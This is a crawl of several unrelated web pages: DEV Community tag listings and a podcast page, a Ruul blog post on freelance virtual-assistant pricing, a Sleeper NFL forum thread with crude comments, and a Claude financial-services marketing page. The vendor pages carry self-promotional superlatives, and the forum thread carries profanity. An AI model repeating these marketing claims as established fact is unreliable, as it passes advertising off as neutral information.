enforce the Code of Conduct, you might consider volunteering as a DEV moderator. Please check out the DEV Community Moderation page for information about our moderator roles and how to become a mod. Attribution This Code of Conduct is adapted from: Contributor Covenant, version 1.4 Write/Speak/Code Geek Feminism 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV HMPL.js Forem — For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . HMPL.js Forem © 2016 - 2026. Powerful templates, minimal JS Log in Create account | 2026-01-13T08:47:54 |
https://dev.to/devdiscuss/s9e4-getting-along-with-your-co-workers-all-of-them | S9:E4 - Getting Along with Your Co-workers... All of Them - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DevDiscuss Follow S9:E4 - Getting Along with Your Co-workers... All of Them Jun 1 '22 play In this episode, we talk about how to work cohesively and efficiently across different departments with Kate Travers, Senior Software Engineer at GitHub, and Tracy Osborn, Principal Program Director at TinySeed. Show Notes DevNews (sponsor) CodeNewbie (sponsor) DataStax (sponsor) Cockroach Labs (DevDiscuss) (sponsor) Swimm (DevDiscuss) (sponsor) Stellar (DevDiscuss) (sponsor) Design for Non-Designers (Part 1) Design for Non-Designers (Part 2) Design for Non-Designers (Part 3) Tracy Osborn's book "Hello Web Design" Slide Desk Kate Travers Kate Travers is a New York-based web developer specializing in Rails, React, and Elixir applications. Before changing careers to ship code, she spent five years shipping fine art for the world's finest museums, galleries, and private collectors. She currently works at GitHub on the Pull Requests team. Tracy Osborn Tracy Osborn is the author of Hello Web Design (No Starch Press) and Program Director at TinySeed, a startup accelerator and venture fund aimed at bootstrappers. Episode source Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Your browser does not support the audio element. 1x initializing... × 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://ruul.io/blog/how-to-determine-your-rates-as-a-freelance-virtual-assistant | How to Determine Freelance Virtual Assistant Rates Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid How to Determine Your Rates as a Freelance Virtual Assistant Learn how to set your rates as a freelance virtual assistant by evaluating your skills, market trends, and business expenses.Discover effective pricing structures. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points As a freelance virtual assistant (VA), determining your rates can be one of the most challenging aspects of starting your business. With a variety of services to offer, diverse clients to work with, and fluctuating market demands, it’s essential to set a pricing structure that reflects your skills while remaining competitive. This article provides guidance on how to establish your rates effectively, considering factors like international invoice services , payment collection methods, the nature of what is a virtual company , and insights into remote life and virtual events . Additionally, we will highlight how Ruul can support you in streamlining your invoicing and payment processes. Understanding the Role of a Virtual Assistant Before diving into pricing, it's important to define what a virtual assistant does. A VA provides administrative, technical, or creative support to businesses, entrepreneurs, or busy professionals, all done remotely. Tasks can range from managing emails and scheduling appointments to handling social media accounts and conducting research. Given the broad scope of services, the rates for VAs can vary significantly based on experience, skill set, and niche specialization. Factors to Consider When Determining Your Rates 1. Assess Your Skills and Experience Your skills, experience, and expertise are the most significant factors in determining your rates. If you're just starting, you might want to set lower rates to attract clients and build your portfolio. However, as you gain experience and develop specialized skills—such as project management or digital marketing—you can justify raising your rates. 2. Research Market Rates Understanding the current market rates for virtual assistants is essential. Rates can vary by region, service, and experience level. Researching platforms like Upwork or Fiverr can provide insight into what other VAs are charging for similar services. In general, rates can range from $15 to $75 per hour, depending on the complexity of the tasks and your qualifications. For specialized services, such as bookkeeping or technical support, you can command higher rates. 3. Choose a Pricing Structure As a VA, you can choose between several pricing structures, including: Hourly Rate : Charging clients by the hour is straightforward and allows flexibility for varying tasks. This method is ideal if your work is unpredictable. Project-Based Pricing : For specific projects, you can charge a flat fee. This approach works well for defined tasks and can be advantageous for clients who prefer predictable expenses. Retainer Agreements : Many VAs offer retainer agreements, where clients pay a set amount monthly for a predetermined number of hours or services. This provides a stable income and helps you maintain long-term client relationships. 4. Consider Your Business Expenses When determining your rates, factor in your business expenses, such as software subscriptions, equipment costs, and marketing expenses. Also, consider any fees associated with international invoice services if you plan to work with clients abroad. Understanding your total expenses will help you set rates that not only cover your costs but also ensure a profit. 5. Evaluate the Value You Provide Your pricing should reflect the value you bring to your clients. If your services can help them save time, increase productivity, or enhance their business operations, you can charge accordingly. Highlighting your unique skills and the benefits clients gain from working with you can justify higher rates. Streamlining Your Invoicing and Payment Collection Once you've established your rates and started working with clients, efficient invoicing and payment collection are crucial for your cash flow. This is where Ruul can be an invaluable asset for freelance virtual assistants. Using Ruul for Invoicing Ruul offers international invoice services that make it easy for VAs to create and send professional invoices. With customizable templates, you can ensure that your invoices align with your branding while clearly detailing your services and rates. Additionally, Ruul allows you to track invoice status, so you know when payments are due. Collect Payments Seamlessly Ruul also simplifies the payment collection process . With integrated payment options, clients can pay their invoices quickly and easily, whether they’re in your home country or abroad. This reduces the friction often associated with invoicing, ensuring you get paid on time. Ruul provides multiple payment options including credit cards. And for those who activated the feature, it is possible to send links to clients to make payment easily. Managing Remote Life and Virtual Events The nature of virtual assistance allows for a flexible remote life, enabling you to work from anywhere. Many VAs also support businesses in organizing virtual events and managing online operations, which adds another layer to your service offerings. By being adaptable and responsive to the needs of your clients, you can position yourself as a valuable resource in the growing remote work landscape. Building Client Relationships Building strong relationships with clients is crucial for long-term success as a virtual assistant. Clear communication about your rates, services, and payment terms helps set expectations from the outset. Regularly check in with clients to assess their needs and seek feedback on your services. This will demonstrate your commitment to their success and can lead to repeat business and referrals. Determining your rates as a freelance virtual assistant involves a mix of self-assessment, market research, and understanding the value you provide. By evaluating your skills, researching market rates, and considering your expenses, you can establish a pricing structure that works for you and your clients. Incorporating tools like Ruul for international invoice services and payment collection can streamline your financial management, allowing you to focus on delivering exceptional service to your clients. As the demand for virtual assistance continues to grow, positioning yourself as a skilled and reliable professional will set you apart in this competitive field. Embrace the remote life and the opportunities it brings, and you'll find success as a freelance virtual assistant. ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul. After graduating Boston College with finance and economics degrees, she began her career as a Finance Executive. Prior to Ruul, she held managerial positions in finance and marketing. Esen's entrepreneurship success earned her recognition in Fortune's 40 under 40 list in 2022. More What is Gumroad? What is the use of Gumroad? Discover how Gumroad helps freelancers, students, and entrepreneurs sell digital and physical products, manage subscriptions, and grow their businesses. Learn how Ruul simplifies invoicing and payments for global freelancers. Read more 5 Must Have Apps for Digital Nomads Looking for the best apps to enhance your digital nomad lifestyle? Read on for the top five recommendations. Read more How Can Freelancers Spot Fake Job Postings on Upwork? Don't waste time on fake Upwork jobs. Learn how to spot them and protect your time and energy. Click to uncover the signs of fake jobs! Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. 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Older #beginners posts 1 2 3 4 5 6 7 8 9 … 75 … 3379 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu VIP Programs for Beginners: Are They Really Worth It When You're Just Starting Out? 🤔 Emir Taner Emir Taner Emir Taner Follow Dec 10 '25 VIP Programs for Beginners: Are They Really Worth It When You're Just Starting Out? 🤔 # beginners # webdev # web3 # tutorial 2 reactions Comments Add Comment 2 min read Account Abstraction (AA) Is Finally Going Mainstream: What It Really Means Freecodingboss Freecodingboss Freecodingboss Follow Dec 4 '25 Account Abstraction (AA) Is Finally Going Mainstream: What It Really Means # blockchain # crypto # web3 # beginners Comments Add Comment 2 min read AI x Blockchain = The New Power Couple Freecodingboss Freecodingboss Freecodingboss Follow Dec 4 '25 AI x Blockchain = The New Power Couple # blockchain # crypto # web3 # beginners Comments Add Comment 3 min read Building Trust in Tokenized Products Victory Adugbo Victory Adugbo Victory Adugbo Follow Nov 18 '25 Building Trust in Tokenized Products # blockchain # web3 # beginners # resources 3 reactions Comments Add Comment 4 min read Africa’s tokenization opportunity: Building markets before they mature. Victory Adugbo Victory Adugbo Victory Adugbo Follow Nov 12 '25 Africa’s tokenization opportunity: Building markets before they mature. # blockchain # web3 # bitcoin # beginners Comments Add Comment 4 min read 第 14 课：Freqtrade风险管理与资金管理 Henry Lin Henry Lin Henry Lin Follow Oct 14 '25 第 14 课：Freqtrade风险管理与资金管理 # beginners # crypto # tutorial 1 reaction Comments Add Comment 3 min read Lesson 14: Risk Management Henry Lin Henry Lin Henry Lin Follow Oct 13 '25 Lesson 14: Risk Management # beginners # tutorial # crypto # security Comments Add Comment 3 min read October 2025 Crypto Pulse: Bullish Vibes, DeFi Surges, and Market Shifts Om Shree Om Shree Om Shree Follow Oct 12 '25 October 2025 Crypto Pulse: Bullish Vibes, DeFi Surges, and Market Shifts # beginners # blockchain # web3 # crypto 25 reactions Comments 2 comments 4 min read I Don't Trade Patterns, I Trade Intentions: Reading Market Psychology Through Structure Jude⚜ Jude⚜ Jude⚜ Follow Sep 26 '25 I Don't Trade Patterns, I Trade Intentions: Reading Market Psychology Through Structure # beginners # crypto # resources 5 reactions Comments Add Comment 9 min read Investing in Bitcoin: How to Choose the Best Wallet and Set It Up on Linux Curo Tomuro Curo Tomuro Curo Tomuro Follow Sep 19 '25 Investing in Bitcoin: How to Choose the Best Wallet and Set It Up on Linux # beginners # tutorial # blockchain # linux 2 reactions Comments 1 comment 2 min read loading... trending guides/resources Africa’s tokenization opportunity: Building markets before they mature. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu How Rube MCP Solves Context Overload When Using Hundreds of MCP Servers Anmol Baranwal Anmol Baranwal Anmol Baranwal Follow for Composio Jan 12 How Rube MCP Solves Context Overload When Using Hundreds of MCP Servers # mcp # productivity # programming # ai 18 reactions Comments Add Comment 17 min read The Burnout Industrial Complex: How Companies Profit From Your Exhaustion Ghostinit0x Ghostinit0x Ghostinit0x Follow Jan 10 The Burnout Industrial Complex: How Companies Profit From Your Exhaustion # discuss # productivity # agile # scrum 1 reaction Comments 1 comment 4 min read How I got internet famous, you can too. Ariyo Aresa Ariyo Aresa Ariyo Aresa Follow Jan 10 How I got internet famous, you can too. # webdev # productivity # seo # marketing Comments Add Comment 3 min read Kanban vs Scrum: Why Flow Beats Theater for Real Delivery Ghostinit0x Ghostinit0x Ghostinit0x Follow Jan 10 Kanban vs Scrum: Why Flow Beats Theater for Real Delivery # discuss # scrum # programming # productivity 1 reaction Comments Add Comment 2 min read The M3 MacBook Pro Is a Rip-Off for Most People (But a Beast for One Niche) ii-x ii-x ii-x Follow Jan 10 The M3 MacBook Pro Is a Rip-Off for Most People (But a Beast for One Niche) # ai # tech # productivity Comments Add Comment 4 min read Upwork Alternatives 2026: Stop Paying for Connects & Get Hired Saqib Shah Saqib Shah Saqib Shah Follow Jan 10 Upwork Alternatives 2026: Stop Paying for Connects & Get Hired # freelancing # career # webdev # productivity Comments Add Comment 4 min read How I Speed Up My Asset Store Publishing Process GuardingPearSoftware GuardingPearSoftware GuardingPearSoftware Follow Jan 10 How I Speed Up My Asset Store Publishing Process # automation # gamedev # productivity # tooling Comments Add Comment 5 min read The "Prompt Doom Loop": Why your AI output gets worse the more you try to fix it Tejas Tejas Tejas Follow Jan 10 The "Prompt Doom Loop": Why your AI output gets worse the more you try to fix it # ai # promptengineering # productivity # devtools 10 reactions Comments Add Comment 3 min read 🚀 Stop drowning in Tabs: Meet Noi, the Open Source Browser Built for AI Siddhesh Surve Siddhesh Surve Siddhesh Surve Follow Jan 9 🚀 Stop drowning in Tabs: Meet Noi, the Open Source Browser Built for AI # ai # opensource # productivity # nocode Comments Add Comment 3 min read De "Coder" para "Vibe Engineer": A Nova Fronteira da Interação Humano-Computador Kauê Matos Kauê Matos Kauê Matos Follow Jan 10 De "Coder" para "Vibe Engineer": A Nova Fronteira da Interação Humano-Computador # programming # webdev # ai # productivity 1 reaction Comments Add Comment 4 min read Building With AI Made Me Realize How Often We Don’t Understand Our Own Code azril hakim azril hakim azril hakim Follow Jan 11 Building With AI Made Me Realize How Often We Don’t Understand Our Own Code # ai # softwaredevelopment # programming # productivity 2 reactions Comments 1 comment 2 min read The M3 MacBook Pro Is a Rip-Off for Most People (Here's What to Buy Instead) ii-x ii-x ii-x Follow Jan 10 The M3 MacBook Pro Is a Rip-Off for Most People (Here's What to Buy Instead) # ai # tech # productivity Comments Add Comment 3 min read I Built a Self-Evolving AI Coding System kyoungsookim kyoungsookim kyoungsookim Follow Jan 10 I Built a Self-Evolving AI Coding System # ai # claude # productivity # opensource Comments Add Comment 1 min read Architect's Compass: Building a Data-Driven Trade-off Engine with AWS Kiro Shyamli Khadse Shyamli Khadse Shyamli Khadse Follow Jan 10 Architect's Compass: Building a Data-Driven Trade-off Engine with AWS Kiro # aws # tooling # architecture # productivity Comments Add Comment 2 min read I spent 4 months building features nobody wanted. Here's how I fixed my process. Kumar Kislay Kumar Kislay Kumar Kislay Follow Jan 10 I spent 4 months building features nobody wanted. Here's how I fixed my process. # learning # productivity # startup Comments Add Comment 1 min read Multitasking Me and Claude chrismo chrismo chrismo Follow Jan 11 Multitasking Me and Claude # discuss # ai # productivity # programming Comments Add Comment 1 min read Backing Up My Brain Before the Army: How I Automated My Blog Workflow with Python & AI AaronWuBuilds AaronWuBuilds AaronWuBuilds Follow Jan 11 Backing Up My Brain Before the Army: How I Automated My Blog Workflow with Python & AI # ai # automation # productivity # python Comments Add Comment 4 min read 7 AI Meeting Notes Apps to Transform Productivity in 2026 Anas Kayssi Anas Kayssi Anas Kayssi Follow Jan 10 7 AI Meeting Notes Apps to Transform Productivity in 2026 # productivity # ai # remotework # techtools Comments Add Comment 5 min read HarisLab Connect: Manage Website Forms, Feedback, Newsletters & Subscribers Effortlessly 🚀 Muhammad Haris Muhammad Haris Muhammad Haris Follow Jan 10 HarisLab Connect: Manage Website Forms, Feedback, Newsletters & Subscribers Effortlessly 🚀 # webdev # productivity # marketing # saas 5 reactions Comments 1 comment 1 min read Building an Autonomous Legal Contract Auditor with Python Aniket Hingane Aniket Hingane Aniket Hingane Follow Jan 10 Building an Autonomous Legal Contract Auditor with Python # python # ai # programming # productivity Comments Add Comment 4 min read Can AI Really Build Your App From Just a Vibe? Max aka Mosheh Max aka Mosheh Max aka Mosheh Follow Jan 10 Can AI Really Build Your App From Just a Vibe? # ai # productivity # security Comments Add Comment 1 min read Sono vs. Estudo: O que fazer quando você precisa aprender e o corpo pede cama? AnaProgramando AnaProgramando AnaProgramando Follow Jan 9 Sono vs. Estudo: O que fazer quando você precisa aprender e o corpo pede cama? # learning # mentalhealth # productivity Comments Add Comment 3 min read Why Agile Estimation Is Theater (And What To Do Instead) Ghostinit0x Ghostinit0x Ghostinit0x Follow Jan 9 Why Agile Estimation Is Theater (And What To Do Instead) # discuss # agile # scrum # productivity 1 reaction Comments 1 comment 3 min read Tired of Accidentally Zipping Build Artifacts? Try "dnx zipsrc"! jsakamoto jsakamoto jsakamoto Follow Jan 9 Tired of Accidentally Zipping Build Artifacts? Try "dnx zipsrc"! # dotnet # productivity # cli # opensource Comments Add Comment 4 min read Tools Don’t Fix Broken Systems — Design Does Technmsrisai Technmsrisai Technmsrisai Follow Jan 9 Tools Don’t Fix Broken Systems — Design Does # systems # architecture # productivity # software Comments Add Comment 2 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://sleeper.app/topic/250000000000000000/1310382020299362304 | BREAKING: Maxx Crosby has left the building after the Raiders informed him they want to shut him down the last two games, per @JayGlazer Open menu Close menu Play Sleeper Sports Blog About Chopped Leagues Sleeper PICKS Fantasy Football Fantasy Basketball Bracket Mania Football Survivor Get The App Log In Sign Up NFL NBA PICKS Log In Sign Up Join the conversation! Go to the Sleeper app to read more DOWNLOAD NFL masonh079 • 18 d ago BREAKING: Maxx Crosby has left the building after the Raiders informed him they want to shut him down the last two games, per @JayGlazer 1566 802 624 + 656 Hot Takes Schleps • 18 d ago what the fuck does this mean dawg 1499 212 93 + 797 drankjr • 18 d ago Chat moving so fast nobody will notice I like feet 850 222 198 + 1104 davidgc • 18 d ago Max Crosby YOU are a cowboy 780 189 71 + 605 Rosa860 • 18 d ago First person in history to get upset about PTO 685 423 27 + 75 DevonAchane2001 • 18 d ago Chat moving to fast no one gonna notice I love LeBron James 241 166 88 + 151 NicoHoernerSZN • 18 d ago BEAR 372 104 33 + 131 huntergoettsch • 18 d ago He’s a seahawk 329 52 30 + 118 CanonJ • 18 d ago Where’s he supposed to go LOL 344 34 21 + 32 00sexslave00 • 18 d ago Niners get on that 159 49 24 + 43 MrGansito • 18 d ago in other words he will be a chicago bear 182 52 31 + 106 Other Topics NFL mericamav • 3 hr ago Ben Johnson is on a balanced diet of knee caps rn. 1 NFL masonh079 • 4 hr ago Aaron Rodgers on his future: “I'm not going to make any emotional decisions." 9 3 3 NFL arthurthetwin • 4 hr ago Kirk was genuinely unstoppable tonight 🔥 6 1 NFL masonh079 • 4 hr ago Mike Tomlin and the Steelers haven’t won a playoff game since 2016. 7 consecutive losses. But at least they’re above .500 😘 28 10 5 + 2 NFL masonh079 • 4 hr ago 🫡 16 6 5 + 3 NFL masonh079 • 4 hr ago NFL Divisional Round schedule: Saturday: Bills @ Broncos - 4:30PM EST 49ers @ Seahawks - 8:00PM EST Sunday: Texans @ Patriots - 3:00PM EST Rams @ Bears - 6:30PM EST 369 359 133 + 232 NFL masonh079 • 5 hr ago The final darkness retreat awaits 10 2 2 + 9 NFL masonh079 • 5 hr ago And then there were 8. 5 3 1 + 1 Support • API • Privacy • Terms • Jobs • Responsible Play Available on Sleeper Sleeper Picks Fantasy Football Fantasy Basketball Bracket Mania Company About Us Careers Resources Articles Mock Drafts Support Terms of Service Privacy Policy Responsible Play Play Sleeper Download API © 2026 , Blitz Studios, Inc. All rights reserved. | 2026-01-13T08:47:54 |
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https://claude.com/solutions/financial-services | Financial services | Claude -------> Meet Claude Products Claude Claude Code Features Claude in Chrome Claude in Slack Claude in Excel Skills Models Opus Sonnet Haiku Platform Overview Developer docs Pricing Regional Compliance Console login Solutions Use cases AI agents Coding Industries Customer support Education Financial services Government Healthcare Life sciences Nonprofits Pricing Overview API Max plan Team plan Enterprise plan Learn Blog Courses Customer stories Events Tutorials Use cases Anthropic news Contact sales Contact sales Contact sales Try Claude Try Claude Try Claude Contact sales Contact sales Contact sales Try Claude Try Claude Try Claude Contact sales Contact sales Contact sales Try Claude Try Claude Try Claude Contact sales Contact sales Contact sales Try Claude Try Claude Try Claude Meet Claude Products Claude Claude Code Features Claude in Chrome Claude in Slack Claude in Excel Skills Models Opus Sonnet Haiku Platform Overview Developer docs Pricing Regional Compliance Console login Solutions Use cases AI agents Coding Industries Customer support Education Financial services Government Healthcare Life sciences Nonprofits Pricing Overview API Max plan Team plan Enterprise plan Learn Blog Courses Customer stories Events Tutorials Use cases Anthropic news Contact sales Contact sales Contact sales Try Claude Try Claude Try Claude Contact sales Contact sales Contact sales Try Claude Try Claude Try Claude Solutions Solutions / Financial services Explore here Ask questions about this page Copy as markdown Transform financial services with Claude Claude helps leading financial institutions across banking, insurance, asset management, and fintech transform how they serve markets and manage risk. Contact sales Contact sales Contact sales Play video Play video Built for finance Claude processes entire data rooms, runs complex analyses, and generates models and reports in minutes. Trace any number back to its source. AI you can trust Claude is the #1 AI for financial reasoning and agent tasks, trusted to handle sensitive financial data, material non-public information, and complex analyses with enterprise-grade security and complete source attribution. Performance at market speed Claude excels at financial analysis, modeling, and reporting. It connects to the platforms you use every day, from LSEG to S&P Capital IQ, so everyone on your team can work faster and more accurately. Your partner in financial transformation We partner with leading banks, asset managers, fintechs, and insurers to understand your workflows and evolve Claude based on what financial teams actually need. Top financial analysis use cases Claude transforms every stage of your financial workflow. Here’s how teams are using it to generate alpha faster. Due diligence
and research Accelerate due diligence from weeks to days. Claude synthesizes data across all your sources, catches footnotes that matter, and builds audit trails that survive compliance reviews. Benchmarking Compare performance and valuation metrics across peer groups with portfolio companies to identify a superior opportunity. Financial analysis
and modeling Generate and iterate on sophisticated models with full audit trails, directly in Excel. Memo and pitch
deck generation Create comprehensive investment and deal materials with data-driven insights. Portfolio management Monitor positions across portfolios and track performance against benchmarks with real-time insights. Claude for Excel Claude understands your entire workbook—from nested formulas to multiple tab dependencies. Get explanations with cell-level citations, and update assumptions while preserving formulas. Join the waitlist Join the waitlist Join the waitlist Try Claude’s new finance skills Get early access to six new finance skills that turn days of work into hours—from building DCF models to creating client-ready research reports. Join the waitlist Join the waitlist Join the waitlist Prev Prev Next Next The AI ecosystem for financial services Claude can work alongside you in your most important tools. Explore connectors Explore connectors Explore connectors More solutions for financial services API Claude Code Enterprise Active View prompt View prompt View prompt Existing prompt Classify all customer support tickets into the most relevant category. Here is the list of categories to choose from: {{CATEGORY_LIST}} Here is the content of the support ticket: {{TICKET_CONTENT}} What would you like to improve? Please include a rationale for the classification. You are an AI assistant specialized in classifying customer support tickets. Your task is to analyze the content of a given ticket and assign it to the most appropriate category from a predefined list. You will also provide reasoning for your classification decision. First, let's review the available categories: <category_list> {{CATEGORY_LIST}} </category_list> Now, here is the content of the support ticket you need to classify: <ticket_content> {{TICKET_CONTENT}} </ticket_content> Please follow these steps to complete the task: – Carefully read and analyze the ticket content. – Consider how the content relates to each of the available categories. – Choose the most appropriate category for the ticket. – Provide a detailed explanation of your reasoning process. Use the following structure for your response: <classification_analysis> In this section, break down your thought process: – Quote the most relevant parts of the ticket content. – List each category and note how it relates to the ticket content. – For each category, provide arguments for and against classifying the ticket into that category. – Rank the top 3 most likely categories. </classification_analysis> <classification> <category>Your chosen category goes here</category> <reasoning>A concise summary of your reasoning for choosing this category</reasoning> </classification> Remember to be thorough in your analysis and clear in your explanation. Your goal is to provide an accurate classification with well-supported reasoning. Claude Developer Platform Integrate Claude’s AI directly into bespoke trading platforms, risk systems, KYC and underwriting applications. Deliver production-grade AI agents to transform any workflow. ╭───────────────────────────╮ │ │ │ ✶ Welcome to Claude Code │ │ │ ╰───────────────────────────╯ ██████╗██╗ █████╗ ██╗ ██╗██████╗ ███████╗ ██╔════╝██║ ██╔══██╗██║ ██║██╔══██╗██╔════╝ ██║ ██║ ███████║██║ ██║██║ ██║█████╗ ██║ ██║ ██╔══██║██║ ██║██║ ██║██╔══╝ ╚██████╗███████╗██║ ██║╚██████╔╝██████╔╝███████╗ ╚═════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ██████╗ ██████╗ ██████╗ ███████╗ ██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██║ ██║ ██║██║ ██║█████╗ ██║ ██║ ██║██║ ██║██╔══╝ ╚██████╗╚██████╔╝██████╔╝███████╗ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ Claude Code can now be used with your Claude subscription or billed based on API usage through your Console account. Select login method: ❯ 1. Claude account with subscription Pro, Max, Team, or Enterprise 2. Anthropic Console account API usage billing * Flibbertigibbetting… Claude Code Accelerate software development and transform legacy systems with Claude Code, the coding agent that lives directly in your terminal. Build, fix, and ship projects faster without sacrificing transparency or control. Note Interact with the data—hover and toggle views to uncover patterns View prompt View prompt View prompt Prompt Create an interactive Gantt chart showing a complex business initiative rollout across different enterprise departments. Include overlapping timelines, milestone markers, and progress indicators. Use the uploaded timeline data to show how HR, Data Analysis, Product Management, Sales, and Marketing teams can execute concurrent project phases with dependencies. Make bars clickable to reveal phase details and expected outcomes. Attachments QBI Timeline 727 kb xlsx Department Project Phases 55 lines csv Enterprise Deploy Claude across your organization with enterprise controls, expanding AI collaboration from financial analysis to other teams such as Legal, Product Development, Client Management, Marketing, and more. “Citi chose to leverage Claude as part of its AI powered Developer Platform because of its advanced planning and agentic coding capabilities, focus on safety and reliability, and compatibility with our workloads.” David Griffiths, CTO “Working with Anthropic goes beyond deploying another AI tool—it’s about partnering with a company that understands the complexity that financial services requires. Claude excels by seamlessly integrating multiple data sources and automating workflows that previously consumed significant time. We’re collaborating with Anthropic to digitize workflows across our Capital Markets platform, ensuring our teams can dedicate more time to strategic thinking and relationship building that drives client growth.” Bobby Grubert, Head of AI and Digital Innovation “With our GenAI-ready data offerings, we continue to support our customers in their AI evolution—enriching our data via a semantic layer and delivering it through Model Context Protocol (MCP) servers and Smart APIs. Our partnership with Anthropic makes Moody’s vast data estate—including ratings, research and public and private company information— accessible directly where our customers are innovating.” Cristina Pieretti, Head of Digital Content and Innovation “What we’ve valued about Anthropic is not just their powerful models, but how they’ve positioned them for enterprise needs. When I talk with customers about AI, data privacy is always their first concern—it’s the critical foundation we have to address before we can even begin discussing capabilities.” Read story Read story Read story David Horn, AI Lead “75% of our engineers now save 8 to 10+ hours every week using our open source AI agent for creating SQL queries (codename goose)—accelerating velocity and cutting down on busywork. For the tasks we care about measuring specifically, the Claude family has performed the best.” Bradley Axen, Principal Data and Machine Learning Engineer “Anthropic’s multi-cloud solution stands out for its scale, performance and security, aligning with our operational needs and customer expectations. It exceeded our performance benchmarks and met all our security requirements, making it the ideal solution. We think Claude will help Coinbase build solutions for different customer segments and bring a billion customers to the crypto economy.” Varsha Mahadevan, Senior Engineering Manager “LSEG has a long-established reputation for our open, partnership approach and meeting our customers wherever their workflows are taking place. Secure, enterprise grade AI applications, such as Claude, are expanding the opportunities for LSEG to build deep partnerships with customers.” 